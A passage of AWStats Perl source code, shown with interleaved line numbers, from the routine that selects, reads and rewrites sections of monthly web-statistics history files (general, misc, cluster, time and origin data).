                'emailreceiver'         => 12,
3314
 
                'session'               => 13,
3315
 
                'sider'                 => 14,
3316
 
                'filetypes'             => 15,
3317
 
                'os'                    => 16,
3318
 
                'browser'               => 17,
3319
 
                'screensize'            => 18,
3320
 
                'unknownreferer'        => 19,
3321
 
                'unknownrefererbrowser' => 20,
3322
 
                'origin'                => 21,
3323
 
                'sereferrals'           => 22,
3324
 
                'pagerefs'              => 23,
3325
 
                'searchwords'           => 24,
3326
 
                'keywords'              => 25,
3327
 
                'errors'                => 26
3328
 
        );
3329
 
 
3330
 
        my $order = ( scalar keys %allsections ) + 1;
3331
 
        foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3332
 
                $allsections{"sider_$_"} = $order++;
3333
 
        }
3334
 
        foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; }
3335
 
        foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3336
 
                $allsections{"plugin_$_"} = $order++;
3337
 
        }
3338
 
        my $withread = 0;
3339
 
 
3340
 
        # Variable used to read old format history files
3341
 
        my $readvisitorforbackward = 0;
3342
 
 
3343
 
        if ($Debug) {
3344
 
                debug(
3345
 
"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
3346
 
                );
3347
 
        }
3348
 
        if ($Debug) { debug("date=$date"); }
3349
 
 
3350
 
        # Define SectionsToLoad (which sections to load)
3351
 
        my %SectionsToLoad = ();
3352
 
        if ( $part eq 'all' ) {    # Load all needed sections
3353
 
                my $order = 1;
3354
 
                $SectionsToLoad{'general'} = $order++;
3355
 
 
3356
 
                # When
3357
 
                $SectionsToLoad{'time'} = $order
3358
 
                  ++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
3359
 
                if (   $UpdateStats
3360
 
                        || $MigrateStats
3361
 
                        || ( $HTMLOutput{'main'} && $ShowHostsStats )
3362
 
                        || $HTMLOutput{'allhosts'}
3363
 
                        || $HTMLOutput{'lasthosts'}
3364
 
                        || $HTMLOutput{'unknownip'} )
3365
 
                {
3366
 
                        $SectionsToLoad{'visitor'} = $order++;
3367
 
                }     # Must be before day, sider and session section
3368
 
                if (
3369
 
                           $UpdateStats
3370
 
                        || $MigrateStats
3371
 
                        || ( $HTMLOutput{'main'}
3372
 
                                && ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
3373
 
                        || $HTMLOutput{'alldays'}
3374
 
                  )
3375
 
                {
3376
 
                        $SectionsToLoad{'day'} = $order++;
3377
 
                }
3378
 
 
3379
 
                # Who
3380
 
                if (   $UpdateStats
3381
 
                        || $MigrateStats
3382
 
                        || ( $HTMLOutput{'main'} && $ShowDomainsStats )
3383
 
                        || $HTMLOutput{'alldomains'} )
3384
 
                {
3385
 
                        $SectionsToLoad{'domain'} = $order++;
3386
 
                }
3387
 
                if (   $UpdateStats
3388
 
                        || $MigrateStats
3389
 
                        || ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
3390
 
                        || $HTMLOutput{'alllogins'}
3391
 
                        || $HTMLOutput{'lastlogins'} )
3392
 
                {
3393
 
                        $SectionsToLoad{'login'} = $order++;
3394
 
                }
3395
 
                if (   $UpdateStats
3396
 
                        || $MigrateStats
3397
 
                        || ( $HTMLOutput{'main'} && $ShowRobotsStats )
3398
 
                        || $HTMLOutput{'allrobots'}
3399
 
                        || $HTMLOutput{'lastrobots'} )
3400
 
                {
3401
 
                        $SectionsToLoad{'robot'} = $order++;
3402
 
                }
3403
 
                if (   $UpdateStats
3404
 
                        || $MigrateStats
3405
 
                        || ( $HTMLOutput{'main'} && $ShowWormsStats )
3406
 
                        || $HTMLOutput{'allworms'}
3407
 
                        || $HTMLOutput{'lastworms'} )
3408
 
                {
3409
 
                        $SectionsToLoad{'worms'} = $order++;
3410
 
                }
3411
 
                if (   $UpdateStats
3412
 
                        || $MigrateStats
3413
 
                        || ( $HTMLOutput{'main'} && $ShowEMailSenders )
3414
 
                        || $HTMLOutput{'allemails'}
3415
 
                        || $HTMLOutput{'lastemails'} )
3416
 
                {
3417
 
                        $SectionsToLoad{'emailsender'} = $order++;
3418
 
                }
3419
 
                if (   $UpdateStats
3420
 
                        || $MigrateStats
3421
 
                        || ( $HTMLOutput{'main'} && $ShowEMailReceivers )
3422
 
                        || $HTMLOutput{'allemailr'}
3423
 
                        || $HTMLOutput{'lastemailr'} )
3424
 
                {
3425
 
                        $SectionsToLoad{'emailreceiver'} = $order++;
3426
 
                }
3427
 
 
3428
 
                # Navigation
3429
 
                if (   $UpdateStats
3430
 
                        || $MigrateStats
3431
 
                        || ( $HTMLOutput{'main'} && $ShowSessionsStats )
3432
 
                        || $HTMLOutput{'sessions'} )
3433
 
                {
3434
 
                        $SectionsToLoad{'session'} = $order++;
3435
 
                }
3436
 
                if (   $UpdateStats
3437
 
                        || $MigrateStats
3438
 
                        || ( $HTMLOutput{'main'} && $ShowPagesStats )
3439
 
                        || $HTMLOutput{'urldetail'}
3440
 
                        || $HTMLOutput{'urlentry'}
3441
 
                        || $HTMLOutput{'urlexit'} )
3442
 
                {
3443
 
                        $SectionsToLoad{'sider'} = $order++;
3444
 
                }
3445
 
                if (   $UpdateStats
3446
 
                        || $MigrateStats
3447
 
                        || ( $HTMLOutput{'main'} && $ShowFileTypesStats )
3448
 
                        || $HTMLOutput{'filetypes'} )
3449
 
                {
3450
 
                        $SectionsToLoad{'filetypes'} = $order++;
3451
 
                }
3452
 
                if (   $UpdateStats
3453
 
                        || $MigrateStats
3454
 
                        || ( $HTMLOutput{'main'} && $ShowOSStats )
3455
 
                        || $HTMLOutput{'osdetail'} )
3456
 
                {
3457
 
                        $SectionsToLoad{'os'} = $order++;
3458
 
                }
3459
 
                if (   $UpdateStats
3460
 
                        || $MigrateStats
3461
 
                        || ( $HTMLOutput{'main'} && $ShowBrowsersStats )
3462
 
                        || $HTMLOutput{'browserdetail'} )
3463
 
                {
3464
 
                        $SectionsToLoad{'browser'} = $order++;
3465
 
                }
3466
 
                if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) {
3467
 
                        $SectionsToLoad{'unknownreferer'} = $order++;
3468
 
                }
3469
 
                if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) {
3470
 
                        $SectionsToLoad{'unknownrefererbrowser'} = $order++;
3471
 
                }
3472
 
                if (   $UpdateStats
3473
 
                        || $MigrateStats
3474
 
                        || ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
3475
 
                {
3476
 
                        $SectionsToLoad{'screensize'} = $order++;
3477
 
                }
3478
 
 
3479
 
                # Referers
3480
 
                if (   $UpdateStats
3481
 
                        || $MigrateStats
3482
 
                        || ( $HTMLOutput{'main'} && $ShowOriginStats )
3483
 
                        || $HTMLOutput{'origin'} )
3484
 
                {
3485
 
                        $SectionsToLoad{'origin'} = $order++;
3486
 
                }
3487
 
                if (   $UpdateStats
3488
 
                        || $MigrateStats
3489
 
                        || ( $HTMLOutput{'main'} && $ShowOriginStats )
3490
 
                        || $HTMLOutput{'refererse'} )
3491
 
                {
3492
 
                        $SectionsToLoad{'sereferrals'} = $order++;
3493
 
                }
3494
 
                if (   $UpdateStats
3495
 
                        || $MigrateStats
3496
 
                        || ( $HTMLOutput{'main'} && $ShowOriginStats )
3497
 
                        || $HTMLOutput{'refererpages'} )
3498
 
                {
3499
 
                        $SectionsToLoad{'pagerefs'} = $order++;
3500
 
                }
3501
 
                if (   $UpdateStats
3502
 
                        || $MigrateStats
3503
 
                        || ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
3504
 
                        || $HTMLOutput{'keyphrases'}
3505
 
                        || $HTMLOutput{'keywords'} )
3506
 
                {
3507
 
                        $SectionsToLoad{'searchwords'} = $order++;
3508
 
                }
3509
 
                if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) {
3510
 
                        $SectionsToLoad{'keywords'} = $order++;
3511
 
                }    # If we update, dont need to load
3512
 
                     # Others
3513
 
                if (   $UpdateStats
3514
 
                        || $MigrateStats
3515
 
                        || ( $HTMLOutput{'main'} && $ShowMiscStats ) )
3516
 
                {
3517
 
                        $SectionsToLoad{'misc'} = $order++;
3518
 
                }
3519
 
                if (
3520
 
                           $UpdateStats
3521
 
                        || $MigrateStats
3522
 
                        || ( $HTMLOutput{'main'}
3523
 
                                && ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
3524
 
                        || $HTMLOutput{'errors'}
3525
 
                  )
3526
 
                {
3527
 
                        $SectionsToLoad{'errors'} = $order++;
3528
 
                }
3529
 
                foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3530
 
                        if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) {
3531
 
                                $SectionsToLoad{"sider_$_"} = $order++;
3532
 
                        }
3533
 
                }
3534
 
                if (   $UpdateStats
3535
 
                        || $MigrateStats
3536
 
                        || ( $HTMLOutput{'main'} && $ShowClusterStats ) )
3537
 
                {
3538
 
                        $SectionsToLoad{'cluster'} = $order++;
3539
 
                }
3540
 
                foreach ( 1 .. @ExtraName - 1 ) {
3541
 
                        if (   $UpdateStats
3542
 
                                || $MigrateStats
3543
 
                                || ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
3544
 
                                || $HTMLOutput{"allextra$_"} )
3545
 
                        {
3546
 
                                $SectionsToLoad{"extra_$_"} = $order++;
3547
 
                        }
3548
 
                }
3549
 
                foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3550
 
                        if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) {
3551
 
                                $SectionsToLoad{"plugin_$_"} = $order++;
3552
 
                        }
3553
 
                }
3554
 
        }
3555
 
        else {    # Load only required sections
3556
 
                my $order = 1;
3557
 
                foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; }
3558
 
        }
3559
 
 
3560
 
        # Define SectionsToSave (which sections to save)
3561
 
        my %SectionsToSave = ();
3562
 
        if ($withupdate) {
3563
 
                if ( $SectionsToBeSaved eq 'all' ) {
3564
 
                        %SectionsToSave = %allsections;
3565
 
                }
3566
 
                else {
3567
 
                        my $order = 1;
3568
 
                        foreach ( split( /\s+/, $SectionsToBeSaved ) ) {
3569
 
                                $SectionsToSave{$_} = $order++;
3570
 
                        }
3571
 
                }
3572
 
        }
3573
 
 
3574
 
        if ($Debug) {
3575
 
                debug(
3576
 
                        " List of sections marked for load : "
3577
 
                          . join(
3578
 
                                ' ',
3579
 
                                (
3580
 
                                        sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
3581
 
                                          keys %SectionsToLoad
3582
 
                                )
3583
 
                          ),
3584
 
                        2
3585
 
                );
3586
 
                debug(
3587
 
                        " List of sections marked for save : "
3588
 
                          . join(
3589
 
                                ' ',
3590
 
                                (
3591
 
                                        sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
3592
 
                                          keys %SectionsToSave
3593
 
                                )
3594
 
                          ),
3595
 
                        2
3596
 
                );
3597
 
        }
3598
 
 
3599
 
# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility)
3600
 
        my $filetowrite = '';
3601
 
        my $filetoread  = '';
3602
 
        if ( $HistoryAlreadyFlushed{"$year$month$day$hour"}
3603
 
                && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
3604
 
        {
3605
 
 
3606
 
                # tmp history file was already flushed
3607
 
                $filetoread  = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3608
 
                $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis";
3609
 
        }
3610
 
        else {
3611
 
                $filetoread  = "$DirData/$PROG$filedate$FileSuffix.txt";
3612
 
                $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3613
 
        }
3614
 
        if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); }
3615
 
 
3616
 
# Is there an old data file to read or, if migrate, can we open the file for read
3617
 
        if ( -s $filetoread || $MigrateStats ) { $withread = 1; }
3618
 
 
3619
 
        # Open files
3620
 
        if ($withread) {
3621
 
                open( HISTORY, $filetoread )
3622
 
                  || error( "Couldn't open file \"$filetoread\" for read: $!",
3623
 
                        "", "", $MigrateStats );
3624
 
                binmode HISTORY
3625
 
                  ; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
3626
 
        }
3627
 
        if ($withupdate) {
3628
 
                open( HISTORYTMP, ">$filetowrite" )
3629
 
                  || error("Couldn't open file \"$filetowrite\" for write: $!");
3630
 
                binmode HISTORYTMP;
3631
 
                if ($xml) {
3632
 
                        print HISTORYTMP
3633
 
'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://awstats.sourceforge.net/files/awstats.xsd">'
3634
 
                          . "\n\n";
3635
 
                }
3636
 
                Save_History( "header", $year, $month, $date );
3637
 
        }
3638
 
 
3639
 
        # Loop on read file
3640
 
        my $readxml = 0;
3641
 
        if ($withread) {
3642
 
                my $countlines = 0;
3643
 
                my $versionnum = 0;
3644
 
                my @field      = ();
3645
 
                while (<HISTORY>) {
3646
 
                        chomp $_;
3647
 
                        s/\r//;
3648
 
                        $countlines++;
3649
 
 
3650
 
                        # Test if it's xml
3651
 
                        if ( !$readxml && $_ =~ /^<xml/ ) {
3652
 
                                $readxml = 1;
3653
 
                                if ($Debug) { debug( " Data file format is 'xml'", 1 ); }
3654
 
                                next;
3655
 
                        }
3656
 
 
3657
 
                        # Extract version from first line
3658
 
                        if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) {
3659
 
                                $versionnum = ( $1 * 1000 ) + $2;
3660
 
                                if ($Debug) { debug( " Data file version is $versionnum", 1 ); }
3661
 
                                next;
3662
 
                        }
3663
 
 
3664
 
                        # Analyze fields
3665
 
                        @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3666
 
                        if ( !$field[0] ) { next; }
3667
 
 
3668
 
                        # Here version MUST be defined
3669
 
                        if ( $versionnum < 5000 ) {
3670
 
                                error(
3671
 
"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".",
3672
 
                                        "", "", 1
3673
 
                                );
3674
 
                        }
3675
 
 
3676
 
                        # BEGIN_GENERAL
3677
 
                        # TODO Manage GENERAL in a loop like other sections.
3678
 
                        if ( $field[0] eq 'BEGIN_GENERAL' ) {
3679
 
                                if ($Debug) { debug(" Begin of GENERAL section"); }
3680
 
                                next;
3681
 
                        }
3682
 
                        if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) {
3683
 
                                if ( !$LastLine || $LastLine < int( $field[1] ) ) {
3684
 
                                        $LastLine = int( $field[1] );
3685
 
                                }
3686
 
                                if ( $field[2] ) { $LastLineNumber   = int( $field[2] ); }
3687
 
                                if ( $field[3] ) { $LastLineOffset   = int( $field[3] ); }
3688
 
                                if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); }
3689
 
                                next;
3690
 
                        }
3691
 
                        if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" )
3692
 
                        {
3693
 
                                if ( !$FirstTime{$date}
3694
 
                                        || $FirstTime{$date} > int( $field[1] ) )
3695
 
                                {
3696
 
                                        $FirstTime{$date} = int( $field[1] );
3697
 
                                }
3698
 
                                next;
3699
 
                        }
3700
 
                        if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) {
3701
 
                                if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) )
3702
 
                                {
3703
 
                                        $LastTime{$date} = int( $field[1] );
3704
 
                                }
3705
 
                                next;
3706
 
                        }
3707
 
                        if (   $field[0] eq 'LastUpdate'
3708
 
                                || $field[0] eq "${xmlrb}LastUpdate" )
3709
 
                        {
3710
 
                                if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); }
3711
 
                                next;
3712
 
                        }
3713
 
                        if (   $field[0] eq 'TotalVisits'
3714
 
                                || $field[0] eq "${xmlrb}TotalVisits" )
3715
 
                        {
3716
 
                                if ( !$withupdate ) {
3717
 
                                        $MonthVisits{ $year . $month } += int( $field[1] );
3718
 
                                }
3719
 
                                next;
3720
 
                        }
3721
 
                        if (   $field[0] eq 'TotalUnique'
3722
 
                                || $field[0] eq "${xmlrb}TotalUnique" )
3723
 
                        {
3724
 
                                if ( !$withupdate ) {
3725
 
                                        $MonthUnique{ $year . $month } += int( $field[1] );
3726
 
                                }
3727
 
                                next;
3728
 
                        }
3729
 
                        if (   $field[0] eq 'MonthHostsKnown'
3730
 
                                || $field[0] eq "${xmlrb}MonthHostsKnown" )
3731
 
                        {
3732
 
                                if ( !$withupdate ) {
3733
 
                                        $MonthHostsKnown{ $year . $month } += int( $field[1] );
3734
 
                                }
3735
 
                                next;
3736
 
                        }
3737
 
                        if (   $field[0] eq 'MonthHostsUnknown'
3738
 
                                || $field[0] eq "${xmlrb}MonthHostsUnknown" )
3739
 
                        {
3740
 
                                if ( !$withupdate ) {
3741
 
                                        $MonthHostsUnknown{ $year . $month } += int( $field[1] );
3742
 
                                }
3743
 
                                next;
3744
 
                        }
3745
 
                        if (
3746
 
                                (
3747
 
                                           $field[0] eq 'END_GENERAL'
3748
 
                                        || $field[0] eq "${xmleb}END_GENERAL"
3749
 
                                )
3750
 
                          )
3751
 
                        {
3752
 
                                if ($Debug) { debug(" End of GENERAL section"); }
3753
 
                                if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) {
3754
 
                                        $BadFormatWarning{ $year . $month } = 1;
3755
 
                                        warning(
3756
 
"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).",
3757
 
                                                "", "", 1
3758
 
                                        );
3759
 
                                }
3760
 
 
3761
 
                                delete $SectionsToLoad{'general'};
3762
 
                                if ( $SectionsToSave{'general'} ) {
3763
 
                                        Save_History( 'general', $year, $month, $date, $lastlinenb,
3764
 
                                                $lastlineoffset, $lastlinechecksum );
3765
 
                                        delete $SectionsToSave{'general'};
3766
 
                                }
3767
 
                                if ( !scalar %SectionsToLoad ) {
3768
 
                                        debug(" Stop reading history file. Got all we need.");
3769
 
                                        last;
3770
 
                                }
3771
 
                                next;
3772
 
                        }
3773
 
 
3774
 
                        # BEGIN_MISC
3775
 
                        if ( $field[0] eq 'BEGIN_MISC' ) {
3776
 
                                if ($Debug) { debug(" Begin of MISC section"); }
3777
 
                                $field[0] = '';
3778
 
                                my $count       = 0;
3779
 
                                my $countloaded = 0;
3780
 
                                do {
3781
 
                                        if ( $field[0] ) {
3782
 
                                                $count++;
3783
 
                                                if ( $SectionsToLoad{'misc'} ) {
3784
 
                                                        $countloaded++;
3785
 
                                                        if ( $field[1] ) {
3786
 
                                                                $_misc_p{ $field[0] } += int( $field[1] );
3787
 
                                                        }
3788
 
                                                        if ( $field[2] ) {
3789
 
                                                                $_misc_h{ $field[0] } += int( $field[2] );
3790
 
                                                        }
3791
 
                                                        if ( $field[3] ) {
3792
 
                                                                $_misc_k{ $field[0] } += int( $field[3] );
3793
 
                                                        }
3794
 
                                                }
3795
 
                                        }
3796
 
                                        $_ = <HISTORY>;
3797
 
                                        chomp $_;
3798
 
                                        s/\r//;
3799
 
                                        @field =
3800
 
                                          split( /\s+/,
3801
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3802
 
                                        $countlines++;
3803
 
                                  } until ( $field[0] eq 'END_MISC'
3804
 
                                          || $field[0] eq "${xmleb}END_MISC"
3805
 
                                          || !$_ );
3806
 
                                if (   $field[0] ne 'END_MISC'
3807
 
                                        && $field[0] ne "${xmleb}END_MISC" )
3808
 
                                {
3809
 
                                        error(
3810
 
"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3811
 
                                                "", "", 1
3812
 
                                        );
3813
 
                                }
3814
 
                                if ($Debug) {
3815
 
                                        debug(
3816
 
" End of MISC section ($count entries, $countloaded loaded)"
3817
 
                                        );
3818
 
                                }
3819
 
                                delete $SectionsToLoad{'misc'};
3820
 
                                if ( $SectionsToSave{'misc'} ) {
3821
 
                                        Save_History( 'misc', $year, $month, $date );
3822
 
                                        delete $SectionsToSave{'misc'};
3823
 
                                        if ($withpurge) {
3824
 
                                                %_misc_p = ();
3825
 
                                                %_misc_h = ();
3826
 
                                                %_misc_k = ();
3827
 
                                        }
3828
 
                                }
3829
 
                                if ( !scalar %SectionsToLoad ) {
3830
 
                                        debug(" Stop reading history file. Got all we need.");
3831
 
                                        last;
3832
 
                                }
3833
 
                                next;
3834
 
                        }
3835
 
 
3836
 
                        # BEGIN_CLUSTER
3837
 
                        if ( $field[0] eq 'BEGIN_CLUSTER' ) {
3838
 
                                if ($Debug) { debug(" Begin of CLUSTER section"); }
3839
 
                                $field[0] = '';
3840
 
                                my $count       = 0;
3841
 
                                my $countloaded = 0;
3842
 
                                do {
3843
 
                                        if ( $field[0] ) {
3844
 
                                                $count++;
3845
 
                                                if ( $SectionsToLoad{'cluster'} ) {
3846
 
                                                        $countloaded++;
3847
 
                                                        if ( $field[1] ) {
3848
 
                                                                $_cluster_p{ $field[0] } += int( $field[1] );
3849
 
                                                        }
3850
 
                                                        if ( $field[2] ) {
3851
 
                                                                $_cluster_h{ $field[0] } += int( $field[2] );
3852
 
                                                        }
3853
 
                                                        if ( $field[3] ) {
3854
 
                                                                $_cluster_k{ $field[0] } += int( $field[3] );
3855
 
                                                        }
3856
 
                                                }
3857
 
                                        }
3858
 
                                        $_ = <HISTORY>;
3859
 
                                        chomp $_;
3860
 
                                        s/\r//;
3861
 
                                        @field =
3862
 
                                          split( /\s+/,
3863
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3864
 
                                        $countlines++;
3865
 
                                  } until ( $field[0] eq 'END_CLUSTER'
3866
 
                                          || $field[0] eq "${xmleb}END_CLUSTER"
3867
 
                                          || !$_ );
3868
 
                                if (   $field[0] ne 'END_CLUSTER'
3869
 
                                        && $field[0] ne "${xmleb}END_CLUSTER" )
3870
 
                                {
3871
 
                                        error(
3872
 
"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3873
 
                                                "", "", 1
3874
 
                                        );
3875
 
                                }
3876
 
                                if ($Debug) {
3877
 
                                        debug(
3878
 
" End of CLUSTER section ($count entries, $countloaded loaded)"
3879
 
                                        );
3880
 
                                }
3881
 
                                delete $SectionsToLoad{'cluster'};
3882
 
                                if ( $SectionsToSave{'cluster'} ) {
3883
 
                                        Save_History( 'cluster', $year, $month, $date );
3884
 
                                        delete $SectionsToSave{'cluster'};
3885
 
                                        if ($withpurge) {
3886
 
                                                %_cluster_p = ();
3887
 
                                                %_cluster_h = ();
3888
 
                                                %_cluster_k = ();
3889
 
                                        }
3890
 
                                }
3891
 
                                if ( !scalar %SectionsToLoad ) {
3892
 
                                        debug(" Stop reading history file. Got all we need.");
3893
 
                                        last;
3894
 
                                }
3895
 
                                next;
3896
 
                        }
3897
 
 
3898
 
                        # BEGIN_TIME
3899
 
                        if ( $field[0] eq 'BEGIN_TIME' ) {
3900
 
                                my $monthpages          = 0;
3901
 
                                my $monthhits           = 0;
3902
 
                                my $monthbytes          = 0;
3903
 
                                my $monthnotviewedpages = 0;
3904
 
                                my $monthnotviewedhits  = 0;
3905
 
                                my $monthnotviewedbytes = 0;
3906
 
                                if ($Debug) { debug(" Begin of TIME section"); }
3907
 
                                $field[0] = '';
3908
 
                                my $count       = 0;
3909
 
                                my $countloaded = 0;
3910
 
                                do {
3911
 
 
3912
 
                                        if ( $field[0] ne '' )
3913
 
                                        {    # Test on ne '' because field[0] is '0' for hour 0)
3914
 
                                                $count++;
3915
 
                                                if ( $SectionsToLoad{'time'} ) {
3916
 
                                                        if (   $withupdate
3917
 
                                                                || $MonthRequired eq 'all'
3918
 
                                                                || $MonthRequired eq "$month" )
3919
 
                                                        {    # Still required
3920
 
                                                                $countloaded++;
3921
 
                                                                if ( $field[1] ) {
3922
 
                                                                        $_time_p[ $field[0] ] += int( $field[1] );
3923
 
                                                                }
3924
 
                                                                if ( $field[2] ) {
3925
 
                                                                        $_time_h[ $field[0] ] += int( $field[2] );
3926
 
                                                                }
3927
 
                                                                if ( $field[3] ) {
3928
 
                                                                        $_time_k[ $field[0] ] += int( $field[3] );
3929
 
                                                                }
3930
 
                                                                if ( $field[4] ) {
3931
 
                                                                        $_time_nv_p[ $field[0] ] +=
3932
 
                                                                          int( $field[4] );
3933
 
                                                                }
3934
 
                                                                if ( $field[5] ) {
3935
 
                                                                        $_time_nv_h[ $field[0] ] +=
3936
 
                                                                          int( $field[5] );
3937
 
                                                                }
3938
 
                                                                if ( $field[6] ) {
3939
 
                                                                        $_time_nv_k[ $field[0] ] +=
3940
 
                                                                          int( $field[6] );
3941
 
                                                                }
3942
 
                                                        }
3943
 
                                                        $monthpages          += int( $field[1] );
3944
 
                                                        $monthhits           += int( $field[2] );
3945
 
                                                        $monthbytes          += int( $field[3] );
3946
 
                                                        $monthnotviewedpages += int( $field[4] || 0 );
3947
 
                                                        $monthnotviewedhits  += int( $field[5] || 0 );
3948
 
                                                        $monthnotviewedbytes += int( $field[6] || 0 );
3949
 
                                                }
3950
 
                                        }
3951
 
                                        $_ = <HISTORY>;
3952
 
                                        chomp $_;
3953
 
                                        s/\r//;
3954
 
                                        @field =
3955
 
                                          split( /\s+/,
3956
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3957
 
                                        $countlines++;
3958
 
                                  } until ( $field[0] eq 'END_TIME'
3959
 
                                          || $field[0] eq "${xmleb}END_TIME"
3960
 
                                          || !$_ );
3961
 
                                if (   $field[0] ne 'END_TIME'
3962
 
                                        && $field[0] ne "${xmleb}END_TIME" )
3963
 
                                {
3964
 
                                        error(
3965
 
"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3966
 
                                                "", "", 1
3967
 
                                        );
3968
 
                                }
3969
 
                                if ($Debug) {
3970
 
                                        debug(
3971
 
" End of TIME section ($count entries, $countloaded loaded)"
3972
 
                                        );
3973
 
                                }
3974
 
                                $MonthPages{ $year . $month }          += $monthpages;
3975
 
                                $MonthHits{ $year . $month }           += $monthhits;
3976
 
                                $MonthBytes{ $year . $month }          += $monthbytes;
3977
 
                                $MonthNotViewedPages{ $year . $month } += $monthnotviewedpages;
3978
 
                                $MonthNotViewedHits{ $year . $month }  += $monthnotviewedhits;
3979
 
                                $MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes;
3980
 
                                delete $SectionsToLoad{'time'};
3981
 
 
3982
 
                                if ( $SectionsToSave{'time'} ) {
3983
 
                                        Save_History( 'time', $year, $month, $date );
3984
 
                                        delete $SectionsToSave{'time'};
3985
 
                                        if ($withpurge) {
3986
 
                                                @_time_p    = ();
3987
 
                                                @_time_h    = ();
3988
 
                                                @_time_k    = ();
3989
 
                                                @_time_nv_p = ();
3990
 
                                                @_time_nv_h = ();
3991
 
                                                @_time_nv_k = ();
3992
 
                                        }
3993
 
                                }
3994
 
                                if ( !scalar %SectionsToLoad ) {
3995
 
                                        debug(" Stop reading history file. Got all we need.");
3996
 
                                        last;
3997
 
                                }
3998
 
                                next;
3999
 
                        }
4000
 
 
4001
 
                        # BEGIN_ORIGIN
4002
 
                        if ( $field[0] eq 'BEGIN_ORIGIN' ) {
4003
 
                                if ($Debug) { debug(" Begin of ORIGIN section"); }
4004
 
                                $field[0] = '';
4005
 
                                my $count       = 0;
4006
 
                                my $countloaded = 0;
4007
 
                                do {
4008
 
                                        if ( $field[0] ) {
4009
 
                                                $count++;
4010
 
                                                if ( $SectionsToLoad{'origin'} ) {
4011
 
                                                        if ( $field[0] eq 'From0' ) {
4012
 
                                                                $_from_p[0] += $field[1];
4013
 
                                                                $_from_h[0] += $field[2];
4014
 
                                                        }
4015
 
                                                        elsif ( $field[0] eq 'From1' ) {
4016
 
                                                                $_from_p[1] += $field[1];
4017
 
                                                                $_from_h[1] += $field[2];
4018
 
                                                        }
4019
 
                                                        elsif ( $field[0] eq 'From2' ) {
4020
 
                                                                $_from_p[2] += $field[1];
4021
 
                                                                $_from_h[2] += $field[2];
4022
 
                                                        }
4023
 
                                                        elsif ( $field[0] eq 'From3' ) {
4024
 
                                                                $_from_p[3] += $field[1];
4025
 
                                                                $_from_h[3] += $field[2];
4026
 
                                                        }
4027
 
                                                        elsif ( $field[0] eq 'From4' ) {
4028
 
                                                                $_from_p[4] += $field[1];
4029
 
                                                                $_from_h[4] += $field[2];
4030
 
                                                        }
4031
 
                                                        elsif ( $field[0] eq 'From5' ) {
4032
 
                                                                $_from_p[5] += $field[1];
4033
 
                                                                $_from_h[5] += $field[2];
4034
 
                                                        }
4035
 
                                                }
4036
 
                                        }
4037
 
                                        $_ = <HISTORY>;
4038
 
                                        chomp $_;
4039
 
                                        s/\r//;
4040
 
                                        @field =
4041
 
                                          split( /\s+/,
4042
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4043
 
                                        $countlines++;
4044
 
                                  } until ( $field[0] eq 'END_ORIGIN'
4045
 
                                          || $field[0] eq "${xmleb}END_ORIGIN"
4046
 
                                          || !$_ );
4047
 
